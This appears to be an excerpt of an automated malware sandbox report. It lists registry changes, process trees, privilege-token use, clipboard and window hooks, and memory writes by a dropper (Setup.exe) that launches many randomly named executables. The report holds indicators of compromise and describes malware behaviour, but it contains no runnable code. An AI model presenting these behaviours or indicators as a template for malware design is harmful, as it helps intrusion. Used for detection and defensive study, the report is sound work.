Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\SortOrderIndex = "66"	FileSyncConfig.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}\ = "StorageProviderUriSource Class"	BLeAlKR616qLUFLzGxcyzC8S.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{8D3F8F15-1DE1-4662-BF93-762EABE988B2}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\ProgID	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\msnucleus\ = "URL: msnucleus"	BLeAlKR616qLUFLzGxcyzC8S.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{F0AF7C30-EAE4-4644-961D-54E6E28708D6}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = b9d9ec28329fd701	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\FILESYNCCLIENT.AUTOPLAYHANDLER.1\CLSID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\VersionIndependentProgID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{2F12C599-7AA5-407A-B898-09E6E4ED2D1E}\ = "ISyncEngineOcsi"	BLeAlKR616qLUFLzGxcyzC8S.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}	BLeAlKR616qLUFLzGxcyzC8S.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\LocalServer32	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{10C9242E-D604-49B5-99E4-BF87945EF86C}\TYPELIB	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\SyncEngineStorageProviderHandlerProxy.SyncEngineStorageProviderHandlerProxy	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{944903E8-B03F-43A0-8341-872200D2DA9C}\TypeLib	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\ = "SharedOverlayHandler Class"	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\ContextMenuOptIn	BLeAlKR616qLUFLzGxcyzC8S.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{869BDA08-7ACF-42B8-91AE-4D8D597C0B33}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	BLeAlKR616qLUFLzGxcyzC8S.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{A78ED123-AB77-406B-9962-2A5D9D2F7F30}\InprocServer32	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{F904F88C-E60D-4327-9FA2-865AD075B400}\1.0\FLAGS\ = "0"	BLeAlKR616qLUFLzGxcyzC8S.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}\1.0	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{EA23A664-A558-4548-A8FE-A6B94D37C3CF}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{AF60000F-661D-472A-9588-F062F6DB7A0E}\ProxyStubClsid32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\NucleusNativeMessaging.NucleusNativeMessaging\CLSID	BLeAlKR616qLUFLzGxcyzC8S.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\grvopen\shell	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{D8C80EBB-099C-4208-AFA3-FBC4D11F8A3C}\TYPELIB	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\INSTANCE\INITPROPERTYBAG	FileSyncConfig.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{e9de26a1-51b2-47b4-b1bf-c87059cc02a7}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{1b7aed4f-fcaf-4da4-8795-c03e635d8edc}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{B54E7079-90C9-4C62-A6B8-B2834C33A04A}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{8B9F14F4-9559-4A3F-B7D0-312E992B6D98}\TYPELIB	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\SyncEngineStorageProviderHandlerProxy.SyncEngineStorageProviderHandlerProxy\CLSID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\InprocServer32\ThreadingModel = "Apartment"	BLeAlKR616qLUFLzGxcyzC8S.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

19528 PING.EXE

pid	process
19528	PING.EXE

Script User-Agent 19 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	203	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	247	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	254	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	430	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	2260	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	189	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	2075	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	2327	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	2728	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	479	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	441	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	2123	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	2274	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	2646	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	184	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	474	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	476	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	2085	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	260	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

OneDriveStandaloneUpdater.exeOneDriveSetup.exeSetup.exeOneDriveSetup.exePBrowFile15.exeWerFault.exeWerFault.exe

pid	process
776	OneDriveStandaloneUpdater.exe
776	OneDriveStandaloneUpdater.exe
776	OneDriveStandaloneUpdater.exe
776	OneDriveStandaloneUpdater.exe
1424	OneDriveSetup.exe
1424	OneDriveSetup.exe
1424	OneDriveSetup.exe
1424	OneDriveSetup.exe
5036	Setup.exe
5036	Setup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
2700	OneDriveSetup.exe
3388	PBrowFile15.exe
3388	PBrowFile15.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5208	WerFault.exe
5248	WerFault.exe
5248	WerFault.exe
5248	WerFault.exe
5248	WerFault.exe
5248	WerFault.exe
5248	WerFault.exe
5248	WerFault.exe

Suspicious behavior: SetClipboardViewer 6 IoCs

Processes:

6205993.exe1079966.exe6660649.exe6119286.exe1942204.exe6605152.exe

pid process

6748 6205993.exe
11772 1079966.exe
16332 6660649.exe
7964 6119286.exe
21008 1942204.exe
35392 6605152.exe

pid	process
6748	6205993.exe
11772	1079966.exe
16332	6660649.exe
7964	6119286.exe
21008	1942204.exe
35392	6605152.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

OneDriveSetup.exesvchost.exeECOLkWzIR00wBNydnGPZctqZ.exeWYeouKlZt4FYfae0LTybVkKh.exeWerFault.exeWerFault.exedJXLCGaWpZvUE6k1lOs2hqfb.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeBLeAlKR616qLUFLzGxcyzC8S.exe3_5WR4gNXqezOL5zBS5VtCo1.exeWerFault.exegQAj91Ns6CDH5Bwr_zpXD9of.exe3_5WR4gNXqezOL5zBS5VtCo1.exe6195347.exeWerFault.exeWerFault.exeWerFault.exe5880421.exe3_5WR4gNXqezOL5zBS5VtCo1.exeDByk7yL1K2ya79k5KoW5d5_a.exeWerFault.exe3_5WR4gNXqezOL5zBS5VtCo1.exe3_5WR4gNXqezOL5zBS5VtCo1.exewOhyu7uyfhOoSFat6vqacOMi.exeBLeAlKR616qLUFLzGxcyzC8S.exe3_5WR4gNXqezOL5zBS5VtCo1.exe3_5WR4gNXqezOL5zBS5VtCo1.exe1649439.exe3_5WR4gNXqezOL5zBS5VtCo1.exe1862275.exe4391373.exe3_5WR4gNXqezOL5zBS5VtCo1.exe3_5WR4gNXqezOL5zBS5VtCo1.exeWerFault.exeWerFault.exeWerFault.exe3_5WR4gNXqezOL5zBS5VtCo1.exe3_5WR4gNXqezOL5zBS5VtCo1.exeBLeAlKR616qLUFLzGxcyzC8S.exeWerFault.exetaskkill.exe3_5WR4gNXqezOL5zBS5VtCo1.exesvchost.exe3_5WR4gNXqezOL5zBS5VtCo1.exemd8_8eus.exeBLeAlKR616qLUFLzGxcyzC8S.exe3_5WR4gNXqezOL5zBS5VtCo1.exerundll32.exesvchost.exeWerFault.exeWerFault.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1424	OneDriveSetup.exe
Token: SeTcbPrivilege	2536	svchost.exe
Token: SeTcbPrivilege	2536	svchost.exe
Token: SeDebugPrivilege	4180	ECOLkWzIR00wBNydnGPZctqZ.exe
Token: SeDebugPrivilege	3868	WYeouKlZt4FYfae0LTybVkKh.exe
Token: SeRestorePrivilege	5248	WerFault.exe
Token: SeBackupPrivilege	5248	WerFault.exe
Token: SeRestorePrivilege	5208	WerFault.exe
Token: SeBackupPrivilege	5208	WerFault.exe
Token: SeBackupPrivilege	5208	WerFault.exe
Token: SeDebugPrivilege	5208	WerFault.exe
Token: SeDebugPrivilege	1116	dJXLCGaWpZvUE6k1lOs2hqfb.exe
Token: SeDebugPrivilege	5248	WerFault.exe
Token: SeDebugPrivilege	5632	WerFault.exe
Token: SeDebugPrivilege	5716	WerFault.exe
Token: SeDebugPrivilege	5724	WerFault.exe
Token: SeDebugPrivilege	6068	WerFault.exe
Token: SeDebugPrivilege	6052	BLeAlKR616qLUFLzGxcyzC8S.exe
Token: SeDebugPrivilege	4796	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	5436	WerFault.exe
Token: SeDebugPrivilege	588	gQAj91Ns6CDH5Bwr_zpXD9of.exe
Token: SeDebugPrivilege	4764	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	5252	6195347.exe
Token: SeDebugPrivilege	5764	WerFault.exe
Token: SeDebugPrivilege	4456	WerFault.exe
Token: SeDebugPrivilege	5744	WerFault.exe
Token: SeDebugPrivilege	6140	5880421.exe
Token: SeDebugPrivilege	5216	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	2108	DByk7yL1K2ya79k5KoW5d5_a.exe
Token: SeDebugPrivilege	6248	WerFault.exe
Token: SeDebugPrivilege	5564	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	5936	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	4320	wOhyu7uyfhOoSFat6vqacOMi.exe
Token: SeDebugPrivilege	3716	BLeAlKR616qLUFLzGxcyzC8S.exe
Token: SeDebugPrivilege	5728	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	3268	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	5624	1649439.exe
Token: SeDebugPrivilege	5588	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	5788	1862275.exe
Token: SeDebugPrivilege	6688	4391373.exe
Token: SeDebugPrivilege	6528	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	6932	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	4772	WerFault.exe
Token: SeDebugPrivilege	5572	WerFault.exe
Token: SeDebugPrivilege	3508	WerFault.exe
Token: SeDebugPrivilege	6680	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	1228	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	5984	BLeAlKR616qLUFLzGxcyzC8S.exe
Token: SeDebugPrivilege	7844	WerFault.exe
Token: SeDebugPrivilege	7888	taskkill.exe
Token: SeDebugPrivilege	6188	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	7976	svchost.exe
Token: SeDebugPrivilege	1384	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeManageVolumePrivilege	500	md8_8eus.exe
Token: SeDebugPrivilege	2880	BLeAlKR616qLUFLzGxcyzC8S.exe
Token: SeDebugPrivilege	1748	3_5WR4gNXqezOL5zBS5VtCo1.exe
Token: SeDebugPrivilege	5576	rundll32.exe
Token: SeDebugPrivilege	5576	rundll32.exe
Token: SeDebugPrivilege	5092	svchost.exe
Token: SeDebugPrivilege	5576	rundll32.exe
Token: SeDebugPrivilege	5576	rundll32.exe
Token: SeDebugPrivilege	5576	rundll32.exe
Token: SeDebugPrivilege	7896	WerFault.exe
Token: SeDebugPrivilege	5596	WerFault.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

PBrowFile15.exedk0ivmPfP7wWPHyhH0zbJ4dP.tmpConhost.exechrome.exetO1Napujos3NVP5mH7LeEBTr.tmpCQzDZ1T2B_hjOeZr4knlduge.tmpTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.com1MZWnoWx3JS8tojs1fEEWoJX.exeTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.com

pid	process
3388	PBrowFile15.exe
4216	dk0ivmPfP7wWPHyhH0zbJ4dP.tmp
4056	Conhost.exe
11620	chrome.exe
11620	chrome.exe
11620	chrome.exe
10984	tO1Napujos3NVP5mH7LeEBTr.tmp
13804	CQzDZ1T2B_hjOeZr4knlduge.tmp
19248	Tra.exe.com
19248	Tra.exe.com
19248	Tra.exe.com
20016	Tra.exe.com
20016	Tra.exe.com
20016	Tra.exe.com
20016	Tra.exe.com
20684	Tra.exe.com
20684	Tra.exe.com
20684	Tra.exe.com
20932	Tra.exe.com
20932	Tra.exe.com
20932	Tra.exe.com
22292	Tra.exe.com
22292	Tra.exe.com
22292	Tra.exe.com
22064	Tra.exe.com
22064	Tra.exe.com
22064	Tra.exe.com
7524	Tra.exe.com
7524	Tra.exe.com
7524	Tra.exe.com
23012	Tra.exe.com
23012	Tra.exe.com
23012	Tra.exe.com
17796	1MZWnoWx3JS8tojs1fEEWoJX.exe
17796	1MZWnoWx3JS8tojs1fEEWoJX.exe
17796	1MZWnoWx3JS8tojs1fEEWoJX.exe
24048	Tra.exe.com
24048	Tra.exe.com
24048	Tra.exe.com
24464	Tra.exe.com
24464	Tra.exe.com
24464	Tra.exe.com
10276	Tra.exe.com
10276	Tra.exe.com
10276	Tra.exe.com
24648	Tra.exe.com
24648	Tra.exe.com
24648	Tra.exe.com
24788	Tra.exe.com
24788	Tra.exe.com
24788	Tra.exe.com
10100	Tra.exe.com
10100	Tra.exe.com
10100	Tra.exe.com
10100	Tra.exe.com
26600	Tra.exe.com
26600	Tra.exe.com
26600	Tra.exe.com
28528	Tra.exe.com
28528	Tra.exe.com
28528	Tra.exe.com
28172	Tra.exe.com
28172	Tra.exe.com
28172	Tra.exe.com

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

Tra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.com1MZWnoWx3JS8tojs1fEEWoJX.exeTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.comTra.exe.com

pid	process
19248	Tra.exe.com
19248	Tra.exe.com
19248	Tra.exe.com
20016	Tra.exe.com
20016	Tra.exe.com
20016	Tra.exe.com
20016	Tra.exe.com
20684	Tra.exe.com
20684	Tra.exe.com
20684	Tra.exe.com
20932	Tra.exe.com
20932	Tra.exe.com
20932	Tra.exe.com
22292	Tra.exe.com
22292	Tra.exe.com
22292	Tra.exe.com
22064	Tra.exe.com
22064	Tra.exe.com
22064	Tra.exe.com
7524	Tra.exe.com
7524	Tra.exe.com
7524	Tra.exe.com
23012	Tra.exe.com
23012	Tra.exe.com
23012	Tra.exe.com
17796	1MZWnoWx3JS8tojs1fEEWoJX.exe
17796	1MZWnoWx3JS8tojs1fEEWoJX.exe
17796	1MZWnoWx3JS8tojs1fEEWoJX.exe
24048	Tra.exe.com
24048	Tra.exe.com
24048	Tra.exe.com
24464	Tra.exe.com
24464	Tra.exe.com
24464	Tra.exe.com
10276	Tra.exe.com
10276	Tra.exe.com
10276	Tra.exe.com
24648	Tra.exe.com
24648	Tra.exe.com
24648	Tra.exe.com
24788	Tra.exe.com
24788	Tra.exe.com
24788	Tra.exe.com
10100	Tra.exe.com
10100	Tra.exe.com
10100	Tra.exe.com
10100	Tra.exe.com
26600	Tra.exe.com
26600	Tra.exe.com
26600	Tra.exe.com
28528	Tra.exe.com
28528	Tra.exe.com
28528	Tra.exe.com
28172	Tra.exe.com
28172	Tra.exe.com
28172	Tra.exe.com
26152	Tra.exe.com
26152	Tra.exe.com
26152	Tra.exe.com
24980	Tra.exe.com
24980	Tra.exe.com
24980	Tra.exe.com
21876	Tra.exe.com
21876	Tra.exe.com

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

AdobeARM.exeMicrosoftEdge.exeBLeAlKR616qLUFLzGxcyzC8S.exe

pid process

4524 AdobeARM.exe
3920 MicrosoftEdge.exe
10504 BLeAlKR616qLUFLzGxcyzC8S.exe
10504 BLeAlKR616qLUFLzGxcyzC8S.exe

pid	process
4524	AdobeARM.exe
3920	MicrosoftEdge.exe
10504	BLeAlKR616qLUFLzGxcyzC8S.exe
10504	BLeAlKR616qLUFLzGxcyzC8S.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

OneDriveStandaloneUpdater.exesvchost.exeOneDriveSetup.exeSetup.exe

description	pid	process	target process
PID 776 wrote to memory of 1424	776	OneDriveStandaloneUpdater.exe	OneDriveSetup.exe
PID 776 wrote to memory of 1424	776	OneDriveStandaloneUpdater.exe	OneDriveSetup.exe
PID 776 wrote to memory of 1424	776	OneDriveStandaloneUpdater.exe	OneDriveSetup.exe
PID 2536 wrote to memory of 2700	2536	svchost.exe	OneDriveSetup.exe
PID 2536 wrote to memory of 2700	2536	svchost.exe	OneDriveSetup.exe
PID 2536 wrote to memory of 2700	2536	svchost.exe	OneDriveSetup.exe
PID 2700 wrote to memory of 5076	2700	OneDriveSetup.exe	FileSyncConfig.exe
PID 2700 wrote to memory of 5076	2700	OneDriveSetup.exe	FileSyncConfig.exe
PID 2700 wrote to memory of 5076	2700	OneDriveSetup.exe	FileSyncConfig.exe
PID 5036 wrote to memory of 3868	5036	Setup.exe	WYeouKlZt4FYfae0LTybVkKh.exe
PID 5036 wrote to memory of 3868	5036	Setup.exe	WYeouKlZt4FYfae0LTybVkKh.exe
PID 5036 wrote to memory of 3868	5036	Setup.exe	WYeouKlZt4FYfae0LTybVkKh.exe
PID 5036 wrote to memory of 4180	5036	Setup.exe	ECOLkWzIR00wBNydnGPZctqZ.exe
PID 5036 wrote to memory of 4180	5036	Setup.exe	ECOLkWzIR00wBNydnGPZctqZ.exe
PID 5036 wrote to memory of 4408	5036	Setup.exe	2g7dhuxXu1GYg4s9BFXNSamU.exe
PID 5036 wrote to memory of 4408	5036	Setup.exe	2g7dhuxXu1GYg4s9BFXNSamU.exe
PID 5036 wrote to memory of 2184	5036	Setup.exe	XjENiEUI2XjD4A7fWT8Vf8Av.exe
PID 5036 wrote to memory of 2184	5036	Setup.exe	XjENiEUI2XjD4A7fWT8Vf8Av.exe
PID 5036 wrote to memory of 2184	5036	Setup.exe	XjENiEUI2XjD4A7fWT8Vf8Av.exe
PID 5036 wrote to memory of 4116	5036	Setup.exe	DneUek6APtftP4C2nqoOEWdR.exe
PID 5036 wrote to memory of 4116	5036	Setup.exe	DneUek6APtftP4C2nqoOEWdR.exe
PID 5036 wrote to memory of 4116	5036	Setup.exe	DneUek6APtftP4C2nqoOEWdR.exe
PID 5036 wrote to memory of 2108	5036	Setup.exe	DByk7yL1K2ya79k5KoW5d5_a.exe
PID 5036 wrote to memory of 2108	5036	Setup.exe	DByk7yL1K2ya79k5KoW5d5_a.exe
PID 5036 wrote to memory of 2108	5036	Setup.exe	DByk7yL1K2ya79k5KoW5d5_a.exe
PID 5036 wrote to memory of 4636	5036	Setup.exe	wwtK2ldVqTsLKqWSGKnLs_0s.exe
PID 5036 wrote to memory of 4636	5036	Setup.exe	wwtK2ldVqTsLKqWSGKnLs_0s.exe
PID 5036 wrote to memory of 4636	5036	Setup.exe	wwtK2ldVqTsLKqWSGKnLs_0s.exe
PID 5036 wrote to memory of 2248	5036	Setup.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 5036 wrote to memory of 2248	5036	Setup.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 5036 wrote to memory of 2248	5036	Setup.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 5036 wrote to memory of 4100	5036	Setup.exe	nFmLDYVtUhk5OSxVljav668D.exe
PID 5036 wrote to memory of 4100	5036	Setup.exe	nFmLDYVtUhk5OSxVljav668D.exe
PID 5036 wrote to memory of 4100	5036	Setup.exe	nFmLDYVtUhk5OSxVljav668D.exe
PID 5036 wrote to memory of 3036	5036	Setup.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
PID 5036 wrote to memory of 3036	5036	Setup.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
PID 5036 wrote to memory of 3036	5036	Setup.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
PID 5036 wrote to memory of 4412	5036	Setup.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
PID 5036 wrote to memory of 4412	5036	Setup.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
PID 5036 wrote to memory of 4412	5036	Setup.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
PID 5036 wrote to memory of 4436	5036	Setup.exe	dpv0HABGt0NPuNaPflNPt3jl.exe
PID 5036 wrote to memory of 4436	5036	Setup.exe	dpv0HABGt0NPuNaPflNPt3jl.exe
PID 5036 wrote to memory of 4436	5036	Setup.exe	dpv0HABGt0NPuNaPflNPt3jl.exe
PID 5036 wrote to memory of 4148	5036	Setup.exe	iFyXDtCgqpbXTqsUZG6822cy.exe
PID 5036 wrote to memory of 4148	5036	Setup.exe	iFyXDtCgqpbXTqsUZG6822cy.exe
PID 5036 wrote to memory of 4148	5036	Setup.exe	iFyXDtCgqpbXTqsUZG6822cy.exe
PID 5036 wrote to memory of 780	5036	Setup.exe	vQziuBIF_NQ0wrSUC0yjvMn2.exe
PID 5036 wrote to memory of 780	5036	Setup.exe	vQziuBIF_NQ0wrSUC0yjvMn2.exe
PID 5036 wrote to memory of 780	5036	Setup.exe	vQziuBIF_NQ0wrSUC0yjvMn2.exe
PID 5036 wrote to memory of 4648	5036	Setup.exe	ZjthTY5DcIsQrDMoxYAmO6HV.exe
PID 5036 wrote to memory of 4648	5036	Setup.exe	ZjthTY5DcIsQrDMoxYAmO6HV.exe
PID 5036 wrote to memory of 4648	5036	Setup.exe	ZjthTY5DcIsQrDMoxYAmO6HV.exe
PID 5036 wrote to memory of 3176	5036	Setup.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 5036 wrote to memory of 3176	5036	Setup.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 5036 wrote to memory of 3176	5036	Setup.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 5036 wrote to memory of 2876	5036	Setup.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 5036 wrote to memory of 2876	5036	Setup.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
